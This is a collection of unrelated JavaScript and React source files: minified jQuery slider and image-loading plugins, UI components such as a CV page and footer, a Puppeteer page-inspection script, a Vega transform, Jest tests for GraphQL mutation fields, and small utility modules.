0&&t(this).append('<div class="bx-caption"><span>'+e+"</span></div>")})},w=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},T=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},C=function(t){r.startAuto(),t.preventDefault()},E=function(t){r.stopAuto(),t.preventDefault()},P=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),n=parseInt(i.attr("data-slide-index"));n!=o.active.index&&r.goToSlide(n),e.preventDefault()},A=function(t){return o.settings.pagerType=="short"?(o.pagerEl.html(t+1+o.settings.pagerShortSeparator+o.children.length),void 0):(o.pagerEl.find("a").removeClass("active"),o.pagerEl.find("a").eq(t).addClass("active"),void 0)},k=function(){if(o.settings.infiniteLoop){var t="";o.active.index==0?t=o.children.eq(0).position():o.active.index==h()-1&&o.carousel?t=o.children.eq((h()-1)*u()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),o.settings.mode=="horizontal"?v(-t.left,"reset",0):o.settings.mode=="vertical"&&v(-t.top,"reset",0)}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},y=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find("a").removeClass("active"),o.controls.autoEl.find("a:not(.bx-"+t+")").addClass("active"))},M=function(){!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(o.active.index==0?(o.controls.prev.addClass("disabled"),o.controls.next.removeClass("disabled")):o.active.index==h()-1?(o.controls.next.addClass("disabled"),o.controls.prev.removeClass("disabled")):(o.controls.prev.removeClass("disabled"),o.controls.next.removeClass("disabled")))},z=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},q=function(){var e=0;if(o.settings.autoDirection=="next")r.append(o.children.clone().addClass("bx-clone"));else{r.prepend(o.children.clone().addClass("bx-clone"));var i=o.children.first().position();e=o.settings.mode=="horizontal"?-i.left:-i.top}v(e,"reset",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+=o.settings.mode=="horizontal"?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,n=o.settings.mode=="horizontal"?"left":"top",s=i*(e-Math.abs(parseInt(r.css(n))));L(s)}),L()},L=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};o.settings.autoDirection=="next"?e=r.find(".bx-clone").first().position():i=o.children.first().position();var n=o.settings.mode=="horizontal"?-e.left:-e.top,s=o.settings.mode=="horizontal"?-i.left:-i.top,a={resetValue:s};v(n,"ticker",speed,a)},D=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind("touchstart",H)},H=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind("touchmove",I),o.viewport.bind("touchend",W)}},I=function(t){if(t.preventDefault(),o.settings.mode!="fade"){var e=t.originalEvent,i=0;if(o.settings.mode=="horizontal"){var n=e.changedTouches[0].pageX-o.touch.start.x;i=o.touch.originalPos.left+n}else{var n=e.changedTouches[0].pageY-o.touch.start.y;i=o.touch.originalPos.top+n}v(i,"reset",0)}},W=function(t){o.viewport.unbind("touchmove",I);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,o.settings.mode=="fade"){var n=Math.abs(o.touch.start.x-o.touch.end.x);n>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var n=0;o.settings.mode=="horizontal"?(n=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(n=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(o.active.index==0&&n>0||o.active.last&&0>n)?v(i,"reset",200):Math.abs(n)>=o.settings.swipeThreshold?(0>n?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):v(i,"reset",200)}o.viewport.unbind("touchend",W)};r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?h()-1:e>=h()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),i=="next"?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):i=="prev"&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=h()-1,o.settings.pager&&A(o.active.index),o.settings.controls&&M(),o.settings.mode=="fade")o.settings.adaptiveHeight&&o.viewport.height()!=d()&&o.viewport.animate({height:d()},o.settings.adaptiveHeightSpeed),o.children.filter(":visible").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css("zIndex",51).fadeIn(o.settings.speed,function(){t(this).css("zIndex",50),k()});else{o.settings.adaptiveHeight&&o.viewport.height()!=d()&&o.viewport.animate({height:d()},o.settings.adaptiveHeightSpeed);var n=0,s={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if(o.settings.mode=="horizontal"){var a=o.children.eq(o.children.length-1);s=a.position(),n=o.viewport.width()-a.width()}else{var l=o.children.length-o.settings.minSlides;s=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&i=="prev"){var c=o.settings.moveSlides==1?o.settings.maxSlides-u():(h()-1)*u()-(o.children.length-o.settings.maxSlides),a=r.children(".bx-clone").eq(c);s=a.position()}else if(i=="next"&&o.active.index==0)s=r.find(".bx-clone").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var g=e*u();s=o.children.eq(g).position()}var p=o.settings.mode=="horizontal"?-(s.left-n):-s.top;v(p,"slide",o.settings.speed)}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=o.active.index+1;r.goToSlide(t,"next")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||o.active.index!=0){var t=o.active.index-1;r.goToSlide(t,"prev")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){o.settings.autoDirection=="next"?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&t!=1&&y("stop"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&t!=1&&y("start"))},r.getCurrentSlide=function(){return o.active.index},r.getSlideCount=function(){return o.children.length};var N=t(window).width(),B=t(window).height();return t(window).resize(function(){var e=t(window).width(),i=t(window).height();(N!=e||B!=i)&&(N=e,B=i,o.children.add(r.find(".bx-clone")).width(c()),o.viewport.css("height",d()),o.active.last&&(o.active.index=h()-1),o.active.index>=h()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(f(),A(o.active.index)),o.settings.ticker||p())}),a(),this}}})(jQuery),function(t,e){var i="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==";t.fn.imagesLoaded=function(n){function s(){var e=t(g),i=t(h);a&&(h.length?a.reject(d,e,i):a.resolve(d)),t.isFunction(n)&&n.call(r,d,e,i)}function o(e,n){e.src===i||-1!==t.inArray(e,c)||(c.push(e),n?h.push(e):g.push(e),t.data(e,"imagesLoaded",{isBroken:n,src:e.src}),l&&a.notifyWith(t(e),[n,d,t(g),t(h)]),d.length===c.length&&(setTimeout(s),d.unbind(".imagesLoaded")))}var r=this,a=t.isFunction(t.Deferred)?t.Deferred():0,l=t.isFunction(a.notify),d=r.find("img").add(r.filter("img")),c=[],g=[],h=[];return t.isPlainObject(n)&&t.each(n,function(t,e){"callback"===t?n=e:a&&a[t](e)}),d.length?d.bind("load.imagesLoaded error.imagesLoaded",function(t){o(t.target,"error"===t.type)}).each(function(n,s){var r=s.src,a=t.data(s,"imagesLoaded");a&&a.src===r?o(s,a.isBroken):s.complete&&s.naturalWidth!==e?o(s,0===s.naturalWidth||0===s.naturalHeight):(s.readyState||s.complete)&&(s.src=i,s.src=r)}):s(),a?a.promise(r):r}}(jQuery)
import React, { Component, PropTypes } from 'react'; export default class NoEvents extends Component { render() { const { fetching } = this.props; const text = fetching ? 'Loading...' : 'No activities.'; return ( <div className="center-block no-events"> <span className="mega-octicon octicon-octoface"></span> <h2>{text}</h2> </div> ); } } PropTypes.propTypes = { fetching: PropTypes.bool.isRequired };
const Container = ({children}) => ( <div className="min-h-screen box-border p-10 bg-gradient-to-r from-green-400 to-blue-500"> {children} </div> ) export default Container
import { __assign } from "tslib"; import * as React from 'react'; import { StyledIconBase } from '../../StyledIconBase'; export var CheckboxBlankCircle = React.forwardRef(function (props, ref) { var attrs = { "fill": "currentColor", "xmlns": "http://www.w3.org/2000/svg", }; return (React.createElement(StyledIconBase, __assign({ iconAttrs: attrs, iconVerticalAlign: "middle", iconViewBox: "0 0 24 24" }, props, { ref: ref }), React.createElement("path", { fill: "none", d: "M0 0h24v24H0z", key: "k0" }), React.createElement("circle", { cx: 12, cy: 12, r: 10, key: "k1" }))); }); CheckboxBlankCircle.displayName = 'CheckboxBlankCircle'; export var CheckboxBlankCircleDimensions = { height: 24, width: 24 };
const matman = require('matman'); const { BrowserRunner } = require('matman-runner-puppeteer'); module.exports = async (pageDriverOpts) => { // 创建 PageDriver 对象,使用它可以实现对浏览器页面的控制 const pageDriver = await matman.launch(new BrowserRunner(), pageDriverOpts); // 设置浏览器打开时所模拟的设备参数 await pageDriver.setDeviceConfig('mobile'); // 设置截屏 await pageDriver.setScreenshotConfig(true); // 设置页面地址 await pageDriver.setPageUrl('https://www.baidu.com'); // 第一步:开始操作之前,等待页面加载完成 await pageDriver.addAction('init', async page => { await page.waitFor('#index-bn'); }); // 计算并返回结果 return pageDriver.evaluate(() => { return { title: document.title, width: window.innerWidth, height: window.innerHeight, userAgent: navigator.userAgent, searchBtnTxt: document.querySelector('#index-bn').innerText, }; }); }; module .exports({ show: true, doNotCloseBrowser: true, useRecorder: false }) .then(function (result) { console.log(JSON.stringify(result)); }) .catch(function (error) { console.error('failed:', error); });
var data = { "body": "<path d=\"M8 10h8v8h-5l-2-2H7v-5m0-7v2h3v2H7l-2 2v3H3v-3H1v8h2v-3h2v3h3l2 2h8v-4h2v3h3V9h-3v3h-2V8h-6V6h3V4H7z\" fill=\"currentColor\"/>", "width": 24, "height": 24 }; exports.__esModule = true; exports.default = data;
import React from 'react'; import { useSelector } from 'react-redux'; import { selectTheme } from '../../redux/reducers/theme'; import styles from './CurriculumVitae.module.css'; export default function CurriculumVitae() { const isDarkMode = useSelector(selectTheme); return ( <div className={`${styles.container} ${isDarkMode ? styles.dark : ''}`}> <div id="cv" className={styles.center}> <h2 className={`${styles.title} ${isDarkMode ? styles.dark : ''}`}> <b>Curriculum Vitae</b> </h2> </div> <div className={styles.content}> <div> <h3 className={`${styles.subtitle} ${isDarkMode ? styles.dark : ''}`}> Work Background </h3> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > PT. Kreasi Digital Indo Utama </h4> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`}> Backend Developer </h5> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> January 2021 - Now </p> </div> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > Bappppeda Sumedang </h4> <div className={styles.row}> <div className={styles.col}> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > Web Developer </h5> </div> <div> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > <span style={{ color: '#ff0000' }}>* </span> Freelancing </h5> </div> </div> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> January 2021 </p> </div> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > PT. Kreasi Digital Indo Utama </h4> <div className={styles.row}> <div className={styles.col}> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > Fullstack Developer </h5> </div> <div> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > <span style={{ color: '#ff0000' }}>* </span> Internship </h5> </div> </div> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> October 2020 - December 2020 </p> </div> </div> <div> <h3 className={`${styles.subtitle} ${isDarkMode ? styles.dark : ''}`}> Skills </h3> <div className={styles.subsection}> <div className={styles.row}> <div className={styles.col}> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > Frontend Development </h5> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > HTML </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > CSS </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > JavaScript </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > Bootstrap </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > React.js </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > Flutter </p> </div> <div className={styles.col}> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > Backend Development </h5> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > Node.js </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > Express.js </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > PostgreSQL </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > MySQL </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > MongoDB </p> <p className={`${styles.detail} ${ isDarkMode ? styles.dark : '' }`} > Firebase </p> </div> </div> </div> </div> <div> <h3 className={`${styles.subtitle} ${isDarkMode ? styles.dark : ''}`}> Tools </h3> <div className={styles.subsection}> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> Visual Studio Code </p> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> Postman </p> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> Git </p> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> Docker </p> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> DBeaver </p> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> MongoDB Compass </p> </div> </div> <div> <h3 className={`${styles.subtitle} ${isDarkMode ? styles.dark : ''}`}> Education </h3> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > Universitas Komputer Indonesia </h4> <div className={styles.row}> <div className={styles.col}> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > Informatics Engineering </h5> </div> <div> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`} > <span style={{ color: '#ff0000' }}>* </span> 3.61 GPA </h5> </div> </div> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> 2016 - 2020 </p> </div> </div> <div> <h3 className={`${styles.subtitle} ${isDarkMode ? styles.dark : ''}`}> Courses </h3> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > Geek Portal Training </h4> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`}> Collaborative Coding Bootcamp </h5> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> September 2020 - October 2020 </p> </div> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > UML and Object-Oriented Design Foundations </h4> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`}> Udemy Online Course </h5> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> 2020 </p> </div> <div className={styles.subsection}> <h4 className={`${styles.subsubtitle} ${ isDarkMode ? styles.dark : '' }`} > Part Time Web Programmer Codepolitan </h4> <h5 className={`${styles.info} ${isDarkMode ? styles.dark : ''}`}> Introduction to Web Development </h5> <p className={`${styles.detail} ${isDarkMode ? styles.dark : ''}`}> August 2018 - November 2018 </p> </div> </div> </div> <div className={styles['spot-container']}> <div className={` ${styles.spot} ${styles['spot-solid']} ${isDarkMode ? styles.dark : ''} ${styles['spot-bottom-right']} `} /> <div className={` ${styles.spot} ${styles['spot-outline']} ${isDarkMode ? styles.dark : ''} ${styles['spot-bottom-right']} `} /> </div> </div> ); }
import React from "react"; import "./footer.css"; import { IcnFacebook, IcnInstagram, IcnLinkedin, IcnMail } from "./icn_SMM"; const thisYear = new Date(); const Footer = () => ( <div className="container__footer"> <div className="footer"> <div className="footer__smm"> <a href="mailto:lalalayka@gmail.com" className="footer__smm--item" rel="noopener noreferrer" > <IcnMail /> </a> <a href="https://www.linkedin.com/in/sergekovalchuk" target="_blank" className="footer__smm--item" rel="noopener noreferrer" > <IcnLinkedin /> </a> <a href="https://www.facebook.com/xyemoe" target="_blank" className="footer__smm--item" rel="noopener noreferrer" > <IcnFacebook /> </a> <a href="https://www.instagram.com/xyemoe/" target="_blank" className="footer__smm--item" rel="noopener noreferrer" > <IcnInstagram /> </a> </div> <div className="footer__copyright"> <span> Sergey Kovalchuk&emsp;©&emsp;2011&#8202;—&#8202; {thisYear.getFullYear()} </span> </div> </div> </div> ); export default Footer;
// import something here import { AddressbarColor } from 'quasar' // "async" is optional; // more info on params: https://quasar.dev/quasar-cli/cli-documentation/boot-files#Anatomy-of-a-boot-file export default async (/* { app, router, Vue ... } */) => { // something to do AddressbarColor.set() }
import SortedList from './util/SortedList'; import {Transform, stableCompare, tupleid} from 'vega-dataflow'; import {inherits} from 'vega-util'; /** * Collects all data tuples that pass through this operator. * @constructor * @param {object} params - The parameters for this operator. * @param {function(*,*): number} [params.sort] - An optional * comparator function for additionally sorting the collected tuples. */ export default function Collect(params) { Transform.call(this, [], params); } Collect.Definition = { 'type': 'Collect', 'metadata': {'source': true}, 'params': [ { 'name': 'sort', 'type': 'compare' } ] }; inherits(Collect, Transform, { transform(_, pulse) { const out = pulse.fork(pulse.ALL), list = SortedList(tupleid, this.value, out.materialize(out.ADD).add), sort = _.sort, mod = pulse.changed() || (sort && (_.modified('sort') || pulse.modified(sort.fields))); out.visit(out.REM, list.remove); this.modified(mod); this.value = out.source = list.data(stableCompare(sort), mod); // propagate tree root if defined if (pulse.source && pulse.source.root) { this.value.root = pulse.source.root; } return out; } });
jest.mock('../getQueryGqlType') import { GraphQLNonNull, GraphQLString, GraphQLObjectType, GraphQLInputObjectType } from 'graphql' import getQueryGqlType from '../getQueryGqlType' import createMutationGqlField from '../createMutationGqlField' // Create a new object where `GraphQLString` is the prototype. This means it // will have the exact same behavior as `GraphQLString`, however // `queryType !== GraphQLString` which is nice for tests. const queryType = Object.create(GraphQLString) getQueryGqlType.mockReturnValue(queryType) test('will only create a single input argument', () => { const field = createMutationGqlField({}, { name: 'foo' }) expect(Object.keys(field.args)).toEqual(['input']) }) test('will create a non-null input type for the input argument with the correct name', () => { const field = createMutationGqlField({}, { name: 'foo' }) expect(field.args.input.type instanceof GraphQLNonNull).toBe(true) expect(field.args.input.type.ofType instanceof GraphQLInputObjectType).toBe(true) expect(field.args.input.type.ofType.name).toBe('FooInput') }) test('will always add a `clientMutationId` field to input objects', () => { const field = createMutationGqlField({}, { name: 'foo' }) expect(Object.keys(field.args.input.type.ofType.getFields())).toEqual(['clientMutationId']) expect(field.args.input.type.ofType.getFields().clientMutationId.type).toEqual(GraphQLString) }) test('will add extra input fields from the config and skip falsies', () => { const inputFields = [ ['a', { name: 'a', type: GraphQLString }], null, ['b', { name: 'b', type: GraphQLString }], ['c', { name: 'c', type: GraphQLString }], ] const field = createMutationGqlField({}, { name: 'foo', inputFields }) expect(Object.keys(field.args.input.type.ofType.getFields())).toEqual(['clientMutationId', 'a', 'b', 'c']) expect(field.args.input.type.ofType.getFields().a).toEqual(inputFields[0][1]) expect(field.args.input.type.ofType.getFields().b).toEqual(inputFields[2][1]) expect(field.args.input.type.ofType.getFields().c).toEqual(inputFields[3][1]) }) test('will return an object payload type', () => { const field = createMutationGqlField({}, { name: 'foo' }) expect(field.type instanceof GraphQLObjectType).toBe(true) expect(field.type.name).toBe('FooPayload') }) test('will always include `clientMutationId` and `query` fields', () => { getQueryGqlType.mockClear() const buildToken = Symbol('buildToken') const clientMutationId = Symbol('clientMutationId') const field = createMutationGqlField(buildToken, { name: 'foo' }) expect(Object.keys(field.type.getFields())).toEqual(['clientMutationId', 'query']) expect(field.type.getFields().clientMutationId.type).toBe(GraphQLString) expect(field.type.getFields().clientMutationId.resolve({ clientMutationId })).toBe(clientMutationId) expect(field.type.getFields().query.type).toBe(queryType) expect(field.type.getFields().query.resolve()).toBe(null) expect(getQueryGqlType.mock.calls).toEqual([[buildToken]]) }) test('will add `outputFields` in payload type and skip falsies', () => { const resolve = Symbol('resolve') const description = Symbol('description') const deprecationReason = Symbol('deprecationReason') const outputFields = [ ['a', { type: GraphQLString }], null, ['b', { type: GraphQLString }], ['c', { type: GraphQLString, args: { arg: { type: GraphQLString } }, resolve, description, deprecationReason }], ] const field = createMutationGqlField({}, { name: 'foo', outputFields }) expect(Object.keys(field.type.getFields())).toEqual(['clientMutationId', 'a', 'b', 'c', 'query']) expect(field.type.getFields().a).toEqual({ name: 'a', type: GraphQLString, args: [], resolve: null, isDeprecated: false }) expect(field.type.getFields().b).toEqual({ name: 'b', type: GraphQLString, args: [], resolve: null, isDeprecated: false }) expect(field.type.getFields().c).toEqual({ name: 'c', type: GraphQLString, args: [{ name: 'arg', type: GraphQLString, defaultValue: null, description: null }], resolve: field.type.getFields().c.resolve, description, deprecationReason, isDeprecated: true }) }) test('will proxy the resolved value to the resolver in `outputFields`', () => { const value = Symbol('value') const resolvedValue = Symbol('resolvedValue') const restArgs = [Symbol(), Symbol(), Symbol()] const resolve = jest.fn(() => resolvedValue) const field = createMutationGqlField({}, { name: 'foo', outputFields: [['a', { type: GraphQLString, resolve }]] }) expect(field.type.getFields().a.resolve({ value }, ...restArgs)).toBe(resolvedValue) expect(resolve.mock.calls).toEqual([[value, ...restArgs]]) }) // test('resolve will call the execute function with the correct arguments', async () => { // const context = new Context() // const clientMutationId = Symbol('clientMutationId') // const input = { clientMutationId, a: 1, b: 2, c: 3 } // const value = Symbol('value') // const execute = jest.fn(() => value) // const field = createMutationGqlField({}, { name: 'foo', execute }) // expect(await field.resolve({}, { input }, context)).toEqual({ clientMutationId, value }) // expect(execute.mock.calls).toEqual([[context, input]]) // })
import File from './file.js' import path from 'path' import randomatic from 'randomatic' export default class RandomFile extends File { constructor(directory) { super(path.join(directory, randomatic('A', 10))) } }
module.exports = function (opts) { opts.event.channel.send('Pong.'); }
function verificar() { var data = new Date() var ano = data.getFullYear() var fano = window.document.getElementById('txtano') var res = window.document.querySelector('div#res') if (fano.value.length == 0 || Number(fano.value) > ano) { window.alert ('[ERRO] Verifique os dados e tente novamente!') } else { var fsex = window.document.getElementsByName('radsex') var idade = ano - Number(fano.value) var gênero = '' var img = window.document.createElement('img') img.setAttribute ('id', 'foto') // MESMA COISA QUE <img id='foto'> NO HTML if (fsex[0].checked) { gênero = 'Homem' if (idade >= 0 && idade < 10) { //criança img.setAttribute('src','bebemas.png') } else if (idade < 21) { //jovem img.setAttribute('src', 'jovemmas.png') } else if (idade < 50) { //adulto img.setAttribute('src', 'homem.png') } else { //idoso img.setAttribute('src', 'idoso.png') } } else if (fsex[1].checked) { gênero = 'Mulher' if (idade >= 0 && idade < 10) { //criança img.setAttribute('src',' bebefem.png') } else if (idade < 21) { //jovem img.setAttribute('src', 'jovemfem.png') } else if (idade < 50) { //adulto img.setAttribute('src', 'mulher.png') } else { //idoso img.setAttribute('src', 'idosa.png') } } res.style.textAlign = 'center' res.innerHTML = `Detectamos ${gênero} com ${idade} anos.` res.appendChild(img) } }
export { default, removeLeadingSlash } from 'nypr-publisher-lib/helpers/remove-leading-slash';